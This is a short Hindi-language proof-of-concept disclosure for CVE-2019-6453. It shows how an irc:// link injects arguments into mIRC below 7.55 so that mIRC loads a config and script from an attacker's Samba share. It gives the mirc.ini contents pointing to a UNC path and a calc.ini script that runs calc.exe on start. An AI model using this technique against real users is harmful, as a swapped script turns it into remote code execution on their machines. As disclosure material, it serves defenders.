
CVE-2019-6453 के लिए calc प्रमाण
हमने irc:// URI प्रोटोकॉल हैंडलर के माध्यम से mIRC में एक रिमोट कोड निष्पादन भेद्यता पाई। क्योंकि mIRC तर्क सूची के अंत को चिह्नित करने के लिए -- जैसे किसी भी सिगिल का उपयोग नहीं करता है, एक हमलावर irc:// लिंक के माध्यम से mIRC को तर्क पास कर सकता है और हमलावर-नियंत्रित Samba फ़ाइल सर्वर से कस्टम mirc.ini लोड करके मनमाना कोड निष्पादित कर सकता है। कृपया ध्यान दें कि ircs:// भी उसी तरह काम करता है।
calc का प्रमाण तीन फ़ाइलों की आवश्यकता है: mirc.ini, calc.ini और poc.html। हम मानते हैं कि हमलावर की ओर एक Samba फ़ाइल सर्वर चल रहा है। उदाहरण के लिए, निम्नलिखित कोड यह मानते हैं कि यह होस्ट 127.0.0.1 पर चल रहा है (अर्थात इसे आज़माने के लिए निम्नलिखित फ़ाइलों में 127.0.0.1 को अपने स्वयं के सर्वर के पते से बदलें)।
mirc.ini एक कस्टम कॉन्फ़िगरेशन फ़ाइल है जो फ़ाइल सर्वर पर C:\mirc-poc\mirc.ini पर स्थित होनी चाहिए।
[rfiles]
n2=\\127.0.0.1\C$\mirc-poc\calc.ini
calc.ini एक रिमोट स्क्रिप्ट फ़ाइल है जो फ़ाइल सर्वर पर C:\mirc-poc\calc.ini पर स्थित होनी चाहिए।
[script]
n0=on *:START: {
n1= /run calc.exe
n2=}
बस poc.html पर जाना काम करना चाहिए, यह मानते हुए कि mIRC irc:// URI स्कीम के लिए डिफ़ॉल्ट हैंडलर के रूप में सेट है और ब्राउज़र पेलोड को एन्कोड नहीं करता है। ब्राउज़र और आपके कॉन्फ़िगरेशन के आधार पर, आपको अभी भी एक प्रॉम्प्ट मिल सकता है (Firefox पर ऐसा नहीं है)।

यह PoC mIRC <7.55 के लिए काम करता है।
आप इस PoC को Edge 42.17134 (अंतिम पूर्वावलोकन संस्करण) और Firefox 64.0.2 (अंतिम रिलीज़) पर ट्रिगर कर सकते हैं। यह Chrome पर काम नहीं करता क्योंकि Chrome URI प्रोटोकॉल को संभालने का तरीका (URI को एप्लिकेशन को पास करने से पहले एन्कोड किया जाता है) अलग है।